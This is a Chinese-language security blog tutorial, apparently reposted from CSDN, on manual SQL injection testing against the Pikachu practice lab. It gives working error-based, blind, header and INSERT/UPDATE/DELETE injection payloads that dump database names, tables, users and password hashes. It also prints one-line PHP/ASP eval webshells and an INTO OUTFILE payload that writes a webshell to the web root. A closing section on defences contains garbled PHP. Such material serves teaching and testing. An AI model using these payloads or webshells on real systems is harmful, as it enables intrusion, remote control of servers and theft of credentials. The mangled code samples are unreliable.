SQL Inject漏洞手工测试:基于报错的信息获取(select/delete/update/insert)

发布时间 2023-04-25 14:55:48作者: Aidy

技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

重点:基于报错的信息获取------三个常用的用来报错的函数
updatexml() :函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor(): MYSQL中用来取整的函数。

updatexml()
Updatexm()函数作用: 改变(查找并替换) XML文档中符合条件的节点的值。
语法: UPDATEXML (xml document, XPathstring, new_value)

第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value,String格式,替换查找到的符合条件的

Xpath定位必须是有效的,否则会发生错误。
Select下报错的利用演示
我们还是那字符型注入做演示,首先我们应该判断有没有报错,会不会在前端显示。我们输入单引号,发现有注入报错。

1.  现在我们构造一个报错:kobe' and updatexml(1,version(),0)#
它并没有把version对应的版本号爆出来。现在对payload进行改造。

2. kobe' and updatexml(1,concat(0x7e,version()),0)#    获取到了版本号

3.  kobe' and updatexml(1,concat(0x7e,database()),0)#  获取到了版本号。现在我们可以把version替换成任意我们想要获得的东西。

4.  进一步查询:kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

5.  报错返回的数据多余一行。说明报错有多行。再次进行处理。可以使用limit一次一次进行获取表名。

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

6.  我们可以得到第一个表名。想要得到第二个表名只要把0改成1即可。依此类推,可以得到所有表名。在获取表名之后,思路一样,获取列名

kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#

7.  同样的依此类推,得到所有列名。在获取列名后,再来获取数据。

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

8.  获取了第一个用户名,再根据用户名查询密码。

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

9.  获取MD5加密的密文,解密获取明文密码。

insert/update注入

1.  点击注册

一样的方法判断是否有SQL注入漏洞,经过判断之后发现存在SQL漏洞。重点在于怎么构造insert的payload。

1.  1' or updatexml(1,concat(0x7e,database()),0) or '  密码随意。点击提交。
这个修改就是通过update。这里就存在update漏洞。我们输入刚刚的payload。

爆出数据库名称,之后逻辑就一样了。


2.  得到数据库名。思路一样把database做替换,得到想要的信息。
update与insert是一模一样的。我们先登录用户。

原因:在php7中,MYSQL_ASSOC不再是一个常量,将 MYSQL_ASSOC改为MYSQLI_ASSOC,意思是mysqli的方式提取数组,而不再是mysql 。(原因:mysql_fetch_arrayhan函数转为mysqli_fetch_array,参数没有修改)

delete注入

1.  点击删除留言,留言被删除,我们打开burp查看抓包。

2.  将其发送到Repeater。我们可以把id构成闭合。

1 or updatexml(1,concat(0x7e,database()),0)
3.  选中右键,convert selection,对其进行url编码。

4.  按照我们的期望返回了数据库名称。   以此类推

extractvalue()

extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xm| _document, xpath. string)

第一个参数: XML document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_ string (Xpath格式的字符串)

Xpath定位必须是有效的,否则会发生错误。
打开字符型注入,输入payload。

kobe' and extractvalue(0,concat(0x7e,version()))#
效果差不多,理解以此类推即可。

 

floor()
在字符型中输入payload得到版本号。

kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

同样进行替换我们可以得到其他你想知道的东西。

SQL注入漏洞-基于http header的注入

什么是Http Header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞。
1.  点击提示,获得账号密码,登录账号。后台对HTTP头数据进行了获取,进行了相关的数据库操作。我们通过burp的数据包进行测试。

2.  将其发送到repeater。修改agent为单引号提交,查看结果。

3.  判断有sql注入漏洞。输入我们的payload

firefox' or updatexml(1,concat(0x7e,database()),0) or '
4.  返回数据库名称     后面操作以此类推

3.4.7SQL注入漏洞-盲注( boolian base )原理及测试

 

 

什么是盲注?
在有些情况下,后台使用了错误消息屏蔽方法(比如@ )屏蔽了报错
此时无法在根据报错信息来进行注入的判断。
这种情况下的注入,称为“盲注"
根据表现形式的不同,盲注又分为based boolean和based time两种类型

 

基于boolean的盲注主要表现症状:

0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
2.在正确的输入下,输入and 1= 1/and 1= 2发现可以判断

3.  打开Boolean的盲注,输入:kobe' and 1=1#
4.  打印了正确的kobe的信息。我们再把一改成二输入。对比说明存在SQL注入漏洞。我们尝试之前的方法发现都行不通。

kobe' and ascii(substr(database(),1,1))>113#
5.  查询不存在,改为=112。        根据ascii表判断   112字符为“p”
6.  显示正确信息。
112对应的字母就是p,数据库的第一个字符就是p。依次修改得到数据库名字。之后思路就打开了。

SQL注入漏洞盲注( time base )原理及测试

在盲注时,经常使用的函数有length():获取长度、ascii():转换成ASCII码、substr():截取某个字符串中从某位开始的几个字符。

如果说基于boolean的窗注在页面上还可以看到0 or 1的回显的话

那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是“时间”, 通过特定的输入,判断后台执行的时间,从而确认注入!
常用的Teat Payload:
kobe’ and sleep(5)#
看看输入: kobe和输入kobe and sleep(5)#的区别,从而判断这里存在based time的SQL注入漏洞。
打开基于时间的盲注。输入单引号。

我们进行其他尝试都是一样的结果。我们打开web控制器。打开网络,输入  kobe' and sleep(5)#

pikachu基于时间盲注

我们输入' 返回I don't care

我们输入anyouzhen sakura ,同样返回I don't care

我们可以利用sleep()函数进行判断,是否存在注入点

我们输入 kobe' and sleep(5)#

 

查看网络,发现雀食存在5s的延迟,说明后面闭合后的内容被带入到数据库中去了

所以可以说明存在注入点,这种注入方式被称为时间盲注

基于时间的延迟:

kobe' and if((substr(database(),1,1))='p',sleep(5),null)# //如果首字母雀食是p,那么它将出现5s的延迟,如果不为p,则不会出现延迟

首字母为p,出现延迟的情况      ps: 首字母不为p,没出现延迟的情况

os远程控制

 

os远程控制一句话木马
一句话木马是一种短小而精悍的木马客户端,隐蔽性好,且功能强大。
PHP: < ?php @eval($_ POST’chopper’]);?>
ASP: < %eval request(" chopper")%>
ASP.NET: <%@ Page Language= Jscript" %> <%eval(Request.Item"chopper"], "unsafe );%>

select 1,2 into outfile “/var/www/html/1.txt”
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_ file_ priv
字符型注入:
获取操作系统权限:kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/val/www/html/1.php"#

SQL Inject漏洞之表(列)名的暴力破解

字符型注入举例
payload:kobe' and exists(select * from aa)#
kobe' and exists(select id from users)#

 


1. 
输入第一个payload,返回结果说明没有这个表。打开burp抓包,发送到intrudder。思路与暴力破解一样。clear之后选中aa,进行替换。

2.  用这个方法我们可以猜出表名。

 同样的我们也可以用第二个payload猜出列名。

如何使用SQL-Map进行SQL Inject漏洞测试

sqlmap经典用法
第一步:
-u "xx” - cookie= “yy” //带上cookie对URL进行注入探测
第二步:
-U “xxx” – cookie=
“yyy” - current-db //对数据库名进行获取
第三步:
-u "xxx” --cookie= “yy” - D pikachu - -tables //对数据库的表名进行枚举
第四步:
-u “xxx” --cookie= “yyy” -D pikachu -T users – columns //对dvwa库里面的名为users表的列名进行枚举

SQL注入漏洞常见防范措施

●代码层面
1.对输入进行严格的转 义和过滤
2.使用预处理和参数化 ( Parameterized )
●网路层面
1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
2.云端防护( 360网站卫士,阿里云盾等)


1.  PHP防范转义+过滤:?

function escape($link, $data){
if(is_ string($data)){
return mysqli_ real_ escape_ string($ink, $data) ;
}
if(is_ array($data)){
foreach ($data as $key=>$va1){
$data[$key]=e S cape($link, $val);
}
}
return $data;
}

2.  过滤举例:(黑名单):?

str_ replace("%",",$_ POST['username ]),把post里面的数据里面含有%的替换成空


3.  PDO预处理

推荐做法:使用PDO的prepare预处理(预处理+参数化)

$username=$_ GET[ ' username' ];
$password=$_ GET[ ' password'];
try{
$pdo=new PDO( ' mysql : host=localhost ; dbname-ant', ' root',' root');
$sq1="select * from admin where username=? and passowrd=?" ;
$stmt=$pdo->prepare ($sql);//先不传参数,先预处理
//var_ dump($stmt);
$stmt-> execute(array($username ,$password));
/ /这个时候在把参数传进去,以索引数组的方式传进去,而不是拼接,就成功防止了注入
}catch (PDOException $e){
echo $e- >getMessage();
?>

 

 

 

如果说基于boolean的窗注在页面上还可以看到0 or 1的回显的话
那么基于time的盲注完全就啥都看不到了!
但还有一个条件,就是“时间”, 通过特定的输入,判断后台执行的时间,从而确认注入!
常用的Teat Payload:
kobe’ and sleep(5)#
看看输入: kobe和输入kobe and sleep(5)#的区别,从而判断这里存在based time的SQL注入漏洞。
打开基于时间的盲注。输入单引号。
————————————————
版权声明:本文为CSDN博主「yyysec」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_53571321/article/details/121692906